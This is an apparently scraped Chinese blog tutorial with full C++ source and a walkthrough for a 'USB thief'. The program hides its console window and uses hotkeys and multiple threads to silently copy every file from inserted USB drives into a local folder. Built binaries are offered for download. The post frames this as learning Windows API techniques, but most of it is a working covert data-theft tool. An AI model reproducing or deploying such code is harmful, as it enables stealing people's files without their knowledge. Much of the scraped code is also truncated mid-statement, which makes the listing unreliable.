C++实现U盘小偷(超详细版) 您所在的位置:网站首页 oo1app复制搜索有惊喜 C++实现U盘小偷(超详细版)

C++实现U盘小偷(超详细版)

2023-09-13 04:06| 来源: 网络整理| 查看: 265

文章目录 前言一、程序演示二、项目下载三、源代码四、代码解析1.main函数2.RegisterGlobalKey与UnRegistreGlobalKey函数3.DealMsg函数4.FindDriver函数5.ThrToSearch线程搜索函数6.ThrToCopy线程拷贝函数7.FindAllFile函数

前言

U盘小偷,顾名思义,是一种可以在暗中窃取U盘数据的一个程序

但本文志不在此,主要是学习U盘小偷程序中所用到的技术

我也在网上看到过部分U盘小偷源代码,发现很多缺陷,比如代码臃肿,执行效率缓慢,操作繁琐

所以我花了一天左右,也写了一个U盘小偷,并经过了十来次的代码测试,修复了相当多的Bug,最终成型,可稳定持续运行

运行环境为VS(Visual Studio),网上安装教程很多,这里就不再赘述,个人使用推荐安装社区版,免费使用且与其它版本区别不大,注意必须要安装C++开发环境 在这里插入图片描述

此程序主要特色有:

程序可完全隐藏可通过全局快捷键显示或隐藏程序,启动或退出程序多线程并发执行,大大提高执行速度

此程序设计到的知识点有:

WIndows消息循环C++结合Win API函数编程多线程编程防程序多开 一、程序演示

如果觉得快捷键不符合自己的习惯,可直接在此处更改: 在这里插入图片描述

具体如何更改,请参考RegisterHotKey 函数官方文档

二、项目下载

点击此处下载 在这里插入图片描述 该压缩包解压后如图 一,二项分别为32位和64位的应用,可点击直接运行,点击后是隐藏的,可按alt+z显示,具体快捷键参考上文

三,四项为项目工程,分别为vs2019和vs2022的项目 在这里插入图片描述 选择对应的版本解压,就可以直接点击UDisktThief.sln工程文件,直接用vs打开就可以直接使用

如果觉得应用图标不好看的,可以进入UDisktThief文件夹,删除app.ico文件,并将自己喜欢的icon格式的图像文件拷贝到这里,改名为app.ico,然后重新编译即可 在这里插入图片描述 如果没有积分下载的,也可以给本文点个赞,收藏一下,评论区找我要哦

三、源代码 #include #include #include #include #include #include #include using namespace std; #pragma comment(lib,"Dbghelp.lib") //定义存储复制文件与目的地文件结构体 struct DString { string oldFile; string newFile; DString(const string& _oldFile, const string& _newFile) { oldFile = _oldFile; newFile = _newFile; } }; bool isShow=false; queue g_qFile; //文件信息队列 mutex g_qMutex; //队列互斥体 mutex g_outMutex; //输出互斥体 int g_numofThread=5; //开启复制文件的线程数 HANDLE* hThread = new HANDLE[g_numofThread]; atomic g_exitThread; //记录退出的线程数量 string g_savePath = "D:\\Thief"; //保存文件的路径 ULONGLONG g_SpendTime;//记录拷贝所总共所用时间 bool g_bExit = false; //决定拷贝文件的线程是否退出 //注册全局热键 bool RegisterGlobalKey(); //删除全局快捷键 void UnRegistreGlobalKey(); //找U盘 vector FindDriver(); //处理消息 bool DealMsg(WPARAM wParam); //搜索所有文件 void FindAllFile(string savePath, string dir); //拷贝文件的线程 unsigned _stdcall ThrToCopy(void*); //搜索文件的线程 unsigned __stdcall ThrToSearch(void* param); int main() { ShowWindow(GetConsoleWindow(), SW_HIDE); //隐藏窗口 //创建内核对象,防止多开 CreateMutex(NULL, TRUE, L"DBF4E165-EE50-47D9-B2D6-ADA8C0B05887"); if (GetLastError() == ERROR_ALREADY_EXISTS) return -1; UnRegistreGlobalKey(); //注销全局快捷键,防止其它应用占用 bool ret=RegisterGlobalKey();//注册全局款快捷键 if (!ret) return -1; SetConsoleTitleW(L"UDisktThief"); //设置窗口标题 MSG msg{}; while (GetMessage(&msg, NULL, 0, 0)) { //接受消息 ret = DealMsg(msg.wParam); //处理消息 if (!ret) break; //false则退出程序 } UnRegistreGlobalKey(); //注销全局快捷键 } bool RegisterGlobalKey() { bool ret = RegisterHotKey(NULL, 'l', MOD_CONTROL, VK_CONTROL); //单击Ctrl开启运行 if (!ret) return ret; ret = RegisterHotKey(NULL, 'q', MOD_CONTROL, 'Q'); //Ctrl+Q 退出程序 if (!ret) return ret; ret = RegisterHotKey(NULL, 's', MOD_ALT, 'Z'); //Ctrl+alt 显示与隐藏窗口 if (!ret) return ret; return ret; } void UnRegistreGlobalKey() { UnregisterHotKey(NULL,'l'); UnregisterHotKey(NULL,'q'); UnregisterHotKey(NULL,'s'); } vector FindDriver() { int len = GetLogicalDriveStringsA(0, 0); std::string dri; dri.resize(len); GetLogicalDriveStringsA(len, (LPSTR)dri.c_str()); vector uDrive; for (int i = 0; i //处理消息 switch (wParam) { case 'l': //开始执行程序 { cout char* buf = new char[4]{}; //盘符名大小为3字节,加\0,共4字节 strcpy_s(buf,4,uDrive[i].data()); _beginthreadex(0, 0, ThrToSearch, buf, 0, 0); //开启遍历文件线程 } g_exitThread = 1; for (int i = 0; i while (!g_bExit) { //从队列中取数据 g_qMutex.lock(); if (g_qFile.empty()) { g_qMutex.unlock(); continue; } DString cf = g_qFile.front(); g_qFile.pop(); g_qMutex.unlock(); g_outMutex.lock(); cout if (savePath.back() == '\\') savePath.pop_back(); //去除最后的\符号 if (dir.back() == '\\') dir.pop_back(); //去除最后的\符号 MakeSureDirectoryPathExists((savePath + '\\').c_str()); //确保保存文件夹存在 //遍历文件,添加到队列 WIN32_FIND_DATAA fileData{}; HANDLE hFile = FindFirstFileA((dir + "\\*").c_str(), &fileData); if (hFile == INVALID_HANDLE_VALUE) return; do { if (strcmp(fileData.cFileName, ".") == 0 || strcmp(fileData.cFileName, "..") == 0) continue; if (fileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { //如果为目录,进行递归 FindAllFile((savePath + '\\' + fileData.cFileName).data(), (dir + '\\' + fileData.cFileName).data()); continue; } //找到文件,添加到队列 g_qMutex.lock(); g_qFile.push(DString(dir + "\\" + fileData.cFileName, savePath + "\\" + fileData.cFileName)); g_qMutex.unlock(); //输出相应信息 g_outMutex.lock(); cout }; while (GetMessage(&msg, NULL, 0, 0)) { //接受消息 ret = DealMsg(msg.wParam); //处理消息 if (!ret) break; //false则退出程序 } UnRegistreGlobalKey(); //注销全局快捷键 }

第一行,使用到了两个Win API:GetConsoleWindow,ShowWindow

GetConsoleWindow() //获取当前控制台窗口的句柄 BOOL ShowWindow( HWND hWnd, //要操作的窗口句柄 int nCmdShow //设置窗口显示方式,可以直接填false,为隐藏,true为显示,更多显示方式可点击上方函数颜色字体,跳转到官网查看 );

作用为将当前控制台隐藏

第二、三行,使用到的API函数为:CreateMutex,GetLastError

HANDLE CreateMutexA( LPSECURITY_ATTRIBUTES lpMutexAttributes, //安全属性,一般直接填NULL即可,默认安全 BOOL bInitialOwner, //是否拥有该内核,TRUE或FALSE应都可 LPCSTR lpName //该内核的名称,我用的是随机生成的GUID码,避免与其它程序相同 ); GetLastError(); //获取错误码

作用:尝试创建一个叫"DBF4E165-EE50-47D9-B2D6-ADA8C0B05887"的内核对象,如果获取的错误码等于ERROR_ALREADY_EXISTS,表示该程序已经运行,直接退出,否则则正常运行

2.RegisterGlobalKey与UnRegistreGlobalKey函数

然后两行为我写的两个函数,分别用于注销全局热键和注册全局热键

bool RegisterGlobalKey() { bool ret = RegisterHotKey(NULL, 'l', MOD_CONTROL, VK_CONTROL); //单击Ctrl开启运行 if (!ret) return ret; ret = RegisterHotKey(NULL, 'q', MOD_CONTROL, 'Q'); //Ctrl+Q 退出程序 if (!ret) return ret; ret = RegisterHotKey(NULL, 's', MOD_ALT, 'Z'); //alt+Z 显示与隐藏窗口 if (!ret) return ret; return ret; } void UnRegistreGlobalKey() { UnregisterHotKey(NULL,'l'); UnregisterHotKey(NULL,'q'); UnregisterHotKey(NULL,'s'); }

这两个函数非常简单,只是调用了两个win API函数:RegisterHotKey和UnregisterHotKey

BOOL RegisterHotKey( HWND hWnd, //收全局热键消息的窗口,填NULL,表示将消息发送到当前线程 int id, //标识消息,通过这个可以识别消息,我这里使用的l代表启动(launch)程序,q代表退出(quit),s代表显示或隐藏窗口(show) UINT fsModifiers,//组合键,就是经常使用的Ctrl,alt等 UINT vk //和组合键配合的键,两者结合成为完成的组合键,我注册了Ctrl,alt+Z,Ctrl+Q三个快捷键 ); BOOL UnregisterHotKey( HWND hWnd, //要取消热键的窗口 int id //信息id,与注册信息id使用的同一个值 );

之所以先调用注销,也是以防万一全局快捷键被其它程序注册,注销后就注册热键,如注册热键失败则直接退出程序.

然后用到了win API函数:SetConsoleTitleW

BOOL WINAPI SetConsoleTitle( LPCTSTR lpConsoleTitle //要为当前控制台设置的标题 );

该函数的作用只是修改控制台窗口的标题

然后来到了最关键的一步------消息队列,使用到了Win API函数:GetMessage和一个消息结构体MSG

BOOL GetMessage( [out] LPMSG lpMsg, //存放收到的消息 [in, optional] HWND hWnd, //收哪个窗口的消息,填NULL,收本线程的消息 [in] UINT wMsgFilterMin, //要收最低消息id,一般直接填0即可 [in] UINT wMsgFilterMax //要收最高消息id,一般直接填0即可,收所有消息 ); typedef struct tagMSG { HWND hwnd; //接收消息的窗口句柄 UINT message; //消息标识符 WPARAM wParam; //参数,取决于具体消息类型,此程序消息中,该参数的内容为之前注册的消息id LPARAM lParam; ///参数,取决于具体消息类型,此程序消息中,无用 DWORD time; //消息被发送的时间 POINT pt; //消息发送时,鼠标的坐标 DWORD lPrivate; //无说明 } MSG, *PMSG, *NPMSG, *LPMSG;

该函数的作用就是不断收取属于自己的消息,然后将消息交给DealMsg函数处理,如果该函数返回false,则退出消息循环,即退出程序

最后注销之前注册的全局热键,最后退出

3.DealMsg函数 bool g_bExit = false; //决定拷贝文件的线程是否退出 bool isShow = false; //当前窗口是否显示 bool DealMsg(WPARAM wParam) { //处理消息 switch (wParam) { case 'l': //开始执行程序 { cout char* buf = new char[4]{}; //盘符名大小为3字节,加\0,共4字节 strcpy_s(buf,4,uDrive[i].data()); _beginthreadex(0, 0, ThrToSearch, buf, 0, 0); //开启遍历文件线程 } g_exitThread = 1; for (int i = 0; i int len = GetLogicalDriveStringsA(0, 0); //获取盘符名总长度 std::string dri; dri.resize(len); GetLogicalDriveStringsA(len, (LPSTR)dri.c_str());//获取盘符名 vector uDrive; //存储U盘名 for (int i = 0; i char* buf = new char[4]{}; //盘符名大小为3字节,加\0,共4字节 strcpy_s(buf,4,uDrive[i].data()); _beginthreadex(0, 0, ThrToSearch, buf, 0, 0); //开启遍历文件线程 }

然后就是为当前电脑的每个U盘都开启搜索线程,将U盘名拷贝到堆中,然后将指针传递给搜索线程

这里使用的是C语言的线程库#include,用到的就是这个开启线程的函数

_ACRTIMP uintptr_t __cdecl _beginthreadex( void* _Security, //安全属性,一般填NULL unsigned _StackSize, //线程的初始栈大小,填0,默认 _beginthreadex_proc_type _StartAddress, //线程的入口函数 void* _ArgList, //为线程传递的参数 unsigned _InitFlag, //线程启动标志,填0立即启动 unsigned* _ThrdAddr //返回线程的ID,填0,不接收即可 );

该函数与Windows API创建线程的函数CreateThread各个参数含义相同,可以参考官方文档

开启搜索线程之后,就是开启拷贝线程了

g_exitThread = 1; for (int i = 0; i FindAllFile(g_savePath, (char*)param); delete param; while (!g_qFile.empty()) Sleep(1000); //队列任务未处理完成,休眠 g_bExit = true; //退出复制文件的线程 WaitForMultipleObjects(g_numofThread,hThread,TRUE, INFINITE); g_SpendTime = GetTickCount64() - g_SpendTime; int ms = (int)g_SpendTime % 1000; //毫秒 g_SpendTime /= 1000; int sec = (int)g_SpendTime % 60; //秒 g_SpendTime /= 60; int minutes = (int)g_SpendTime % 60; //分钟 int hours = (int)g_SpendTime / 60; //小时 g_outMutex.lock(); cout oldFile = _oldFile; newFile = _newFile; } }; queue g_qFile; //文件信息队列

当搜索完成后,进入while循环,等待文件信息队列中的信息全部被拷贝完成

while (!g_qFile.empty()) Sleep(1000); //队列任务未处理完成,休眠

然后就是等待所有拷贝线程结束,方法是设置全局变量g_bExit 为true通知线程,然后再等待所有线程结束

g_bExit = true; //退出复制文件的线程 WaitForMultipleObjects(g_numofThread,hThread,TRUE, INFINITE);

这里使用到的一个Win API函数WaitForMultipleObjects

DWORD WaitForMultipleObjects( [in] DWORD nCount, //要等待的线程数量 [in] const HANDLE *lpHandles, //线程句柄数组 [in] BOOL bWaitAll, //是否等待所有 [in] DWORD dwMilliseconds //等待时间,INFINITE,也就是-1,为一直等待 );

当然此函数的用法并不局限于线程句柄,其它用法请参考官方文档

然后就简单了,当所有拷贝线程完成工作退出,就是计算一下花费了多少时间并输出

主要需要注意的点是输出的操作

g_outMutex.lock(); cout //从队列中取数据 g_qMutex.lock(); if (g_qFile.empty()) { g_qMutex.unlock(); continue; } DString cf = g_qFile.front(); g_qFile.pop(); g_qMutex.unlock(); g_outMutex.lock(); cout }; HANDLE hFile = FindFirstFileA((dir + "\\*").c_str(), &fileData); if (hFile == INVALID_HANDLE_VALUE) return; do { if (strcmp(fileData.cFileName, ".") == 0 || strcmp(fileData.cFileName, "..") == 0) continue; if (fileData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) { //如果为目录,进行递归 FindAllFile((savePath + '\\' + fileData.cFileName).data(), (dir + '\\' + fileData.cFileName).data()); continue; } //找到文件,添加到队列 g_qMutex.lock(); g_qFile.push(DString(dir + "\\" + fileData.cFileName, savePath + "\\" + fileData.cFileName)); g_qMutex.unlock(); //输出相应信息 g_outMutex.lock(); cout


【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有